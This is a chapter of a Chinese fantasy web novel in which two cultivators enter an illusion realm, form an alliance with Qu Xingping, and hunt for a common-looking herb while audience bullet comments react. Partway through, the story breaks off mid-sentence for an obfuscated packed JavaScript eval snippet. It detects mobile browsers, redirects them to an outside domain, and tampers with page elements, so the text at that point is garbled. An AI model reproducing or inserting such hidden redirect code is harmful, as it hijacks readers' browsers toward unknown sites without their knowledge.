声落,白光起,瞬间吞没了他们,等到再睁开眼时,天已大亮,他们已经身处一片陌生的森林里。 青遮被骤然亮起的光刺得眼睛痛,好不容易适应了,眼前又飞速划过好久不见的弹幕条,晃得他眼睛更难受了。 「死了?这就死了?」 「感觉苏伞和宗玉也别有风味啊(捧脸)」 「我也这么觉得!另类的好嗑嘿嘿」 「结果就这么下线了,好悲伤」 刚刚在喜忧谷的幻境里,他并没有看见弹幕条,一开始他以为是又转换视角了,但是在和褚褐碰面后,弹幕条也没有出现,直到现在,第一重幻境结束,弹幕才迟迟登场。 这种东西的运行机制究竟是什么?难道说是会被幻境屏蔽掉?可是现在这个地方,应该也是幻境吧? 青遮抬头环视了一圈周围枝繁叶茂的林子。 按照顺序,好像是该到鳞湾的幻境了。 “褚褐。”青遮叫他,但很奇怪,褚褐没有回应。 「嗯?哦呀?居然没第一时间应声诶」 「吵架了?」 「嗐,怎么可能,你觉得棕棕敢和青青吵吗?」 “褚褐?” 青遮觉得不太对劲,其实在他刚才拦下被打飞的褚褐时就隐隐有这种感觉了,最有说服力的佐证就是,褚褐在检查他有没有受伤时,没敢看他的眼睛。 “你怎么……” 青遮俯下身,想要触碰他的肩膀,褚褐却颤了一下,躲过去了。 躲过去了。 果然不对劲。 “褚褐,转过来。” 褚褐依旧没有动弹。 啧。 青遮拽着他的衣领,硬逼着他转过了身,掐着他的下巴强迫他抬头。 一对上眼,他原本要说的话一下子堵在喉咙里了。 “……你哭什么?” 青遮百思不得其解。 他知道褚褐年岁小,接触的人少,经历的事更少,会有修道之人不该有的太过泛滥的恻隐之心,会害怕修道之人不会害怕的流血的尸体,会有很多连他有时候都搞不明白的奇怪心思,说实话,如果不是他对褚褐有所求,他根本不想认识这样的人,太麻烦了,他平生最讨厌麻烦。 但,没办法,他现在完全就是要养小孩儿。 他叹了口气。 反正养大就可以吃掉了,所以在之前的一切付出都是值得的。 “褚褐,告诉我。”想到这儿,青遮心情好了些,他放柔声音,“为什么会哭?” “……害怕。” “害怕?怕什么?” 褚褐未语泪珠先滚落下来,“他说,我对你心怀不轨,你知道后肯定会不要我了,可是我并没有这种心思……” 哦。 听一半青遮就明白过来了。 这小子,在试探他呢,整句话里估计就「心怀不轨」是真的,后面的那些个否认、忏悔不说假,但总归比不上前面那句真心实意。估计褚褐也看出来自己知道了宗玉是个什么存在,所以担心自己抛弃他呢。 没想到现在学会耍心眼儿了,是不是该夸一句进步了呢? “你杀掉的宗玉,他只是你最卑劣欲望的一个化身,是人就会有欲望,就会有卑劣的一面,那个并不能代表你的全部。” 既然褚褐都泪眼婆娑地朝他耍心思要保证了,他总不能不给吧。 “所以,你放心,我没有当一回事。”青遮松开掐他的手,转而往上拍了拍他的脸,“毕竟你还小,很多事情都会想不明白。” “是吗?你不会生气、不会不要我吗?” “嗯,说过了会一直陪着你。” 所以,这一关算是过去了吧。 褚褐内心松了口气的同时又有点说不出原因的不甘,心里好像石头落地了,却转眼间又填进来堆又酸又苦又涩的东西,五味杂陈。他不理解这种莫名的情绪,没人教他辨别,他也从未体验过,所以只能牢牢抓住青遮贴在他脸旁的手,用眼泪和表情装出一副少年气来让青遮心软,以此答应他的要求,他知道青遮拒绝不了他这个样子。 「这两人,在这儿相互演啥呢」 「就是,棕棕,我不信你真没有歪心思」 「?棕棕,我一直以为你是个乖宝宝来着,怎么一段时间不见,你就被带歪了?」 「这对夫夫,越来越黑了」 「啧啧啧,这滴眼泪掉的,恰到好处啊」 「琼瑶式演技了属实是」 “各位道友,第一重幻境喜忧谷已结束,欢迎进入第二重幻境鳞湾,我是鳞湾幻境的创造者。” 一道女声响起来,青遮和褚褐不约而同地抬起头。 “鳞湾的幻境,是依托于真实的秘境而存在的,所以,并不能算得上是严格意义上的幻境。” 嗯? 青遮突然想到了什么。 这会不会是弹幕条在第一重幻境不可见而在第二重幻境可见的原因?因为鳞湾的幻境里是真实的秘境,也就是说,弹幕条在纯幻境里是不可见的。 这挺好,这倒是能成为测验幻境的一样法器了。 “每一位修士现在身上都有一个专门放置植物的神农囊,第二重幻境的任务就是,在这片秘境里找到定胜草,本幻境的谶语同样放在了神农囊里。” “那么,预祝各位顺利。” 第二重幻境居然是有具体的任务的? 青遮翻看着衣服,果然从衣服的口袋里找到了神农囊,打开后里面有张纸条,上书“人定胜天”四个字。 “哎呀,好巧啊,我们还真是有缘,果然遇见了。” 屈兴平远远听见了说话的声音,觉得耳熟,过来一看,果然是熟人。 “我就知道褚兄和青兄能通过第一关。”屈兴平又开始晃着他那把扇子,“我的眼光一向很可以。” 青遮:“屈公子也在这儿?也就是说这一场不需要分组,是全员都在同一个幻境里?” “对,其实我刚刚已经遇见不少人了,不过他们行色匆匆,面露警惕,我也就没过去自讨没趣了。” 青遮:“那屈公子来找我们,应该不是来叙旧的吧?” “青遮兄真是聪明。”屈兴平唰的展开扇子,挡住下半张微微笑的脸,“虽然明面上没有说过可以分组,但也没有明说过不可以分组,上一重幻境我已经深刻吃到独闯的苦了,所以这一次我想找几个信得过的朋友一起合作合作。我觉得我应该算得上是好说话的、很令人舒服的、实力也不错的合作者了,青遮兄觉得呢?” 屈兴平不拐弯抹角,直接把橄榄枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060211|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抛出来了。 “按理来说应该是褚褐和你比较熟,你为什么不先去问褚褐的意见?” “你们两个里谁是主导者我还是能看出来的,就算我和褚褐说了,如果你不同意的话,褚褐也不会点头的。他很听你的话。” 最后一句,屈兴平故意拉长调子,意味深长地说。 青遮仔细思考了一下。 第二重幻境是有具体任务的,这和第一重幻境完全不同。而且寻物这种事情,自然是人越多越好。 “我觉得可以。那么,合作愉快,屈公子。” “合作愉快。” 「嚯,两只老狐狸」 「还真是,这两个人互相看对方的眼神都充满着不怀好意」 「不是合作吗?你们怎么看出来不怀好意的?」 「宝贝,你想想,他们要寻东西诶,那数量肯定有限,先到先得咯」 「其实屈兴平的策略很好啊,如果是我参加的话,我也会跟屈兴平一样先找同伴,最后再翻脸」 「现在就是不知道定胜草一共有几株,要是不够的话怎么办?」 “那个。”早就整理好情绪的褚褐举手,“定胜草,你们认识吗?” 阅历无数的屈兴平和博览群书的青遮同时沉默了。 “其实我知道,但是我不确定我知道的对不对。” 「哟哟哟,小宝出息了,居然知道青遮不知道的东西了」 「那我们就先赢在起跑线了耶」 “哟,褚兄可以啊,你能画出来吗?” “不用画。” “是不会画吗?那描述?” “也不用描述。” 褚褐蹲下来,在长满各式各样植物的地上扒拉了半天,然后拔下一棵草,递到两人面前。 “定胜草就是这个。” 「???确定不是开玩笑吗?这不是野草吗?」 「我请问呢,这棵草和它左边的草还有右边的草有什么区别吗?」 「制作组要不要这么敷衍?这棵草长得就像是我小时候画的简笔画,就三片叶子,三笔完事了的那种」 “褚兄,你不是在开玩笑吧?” 屈兴平接过草,翻来覆去地仔细察看。 褚褐:“青遮,还记得不久前我跟你说过的鹧鸪的事情吗?” 青遮瞬间明白了他想表达的点:“能入药的那个?” “是,鹧鸪可以平咳,定胜草恰巧也有这个功能,而且定胜草还有退热的作用,所以我经常把这两个放在一起炖汤作为风寒时候的药物食用了。因此我对定胜草很是熟悉,但我不确定会不会有其他的草也叫做定胜草,毕竟如果只是找它的话,这一重幻境会不会太过简单了。” “屈公子。” 青遮示意屈兴平把定胜草给他看看。 很普通的一棵草,弹幕上说的没错,它长得完全就是一棵野草的样子,三片叶子,色深,根浅,唯一比较特别的是闻起来有股子腥气,是那种偏血的腥气而不是鱼虾的腥气。 “青遮兄,你觉得呢?”屈兴平问,显然是想让他拿主意。 “褚褐,这种草很常见对吗?” “是,可以说是漫山遍野。” “那问题就来了。”青遮捏着手里这颗所谓的定胜草,“那个声音让我们找到定胜草,如果定胜草就是这个的话,那么,我们到底要找到多少数量的定胜草才算是合格呢?”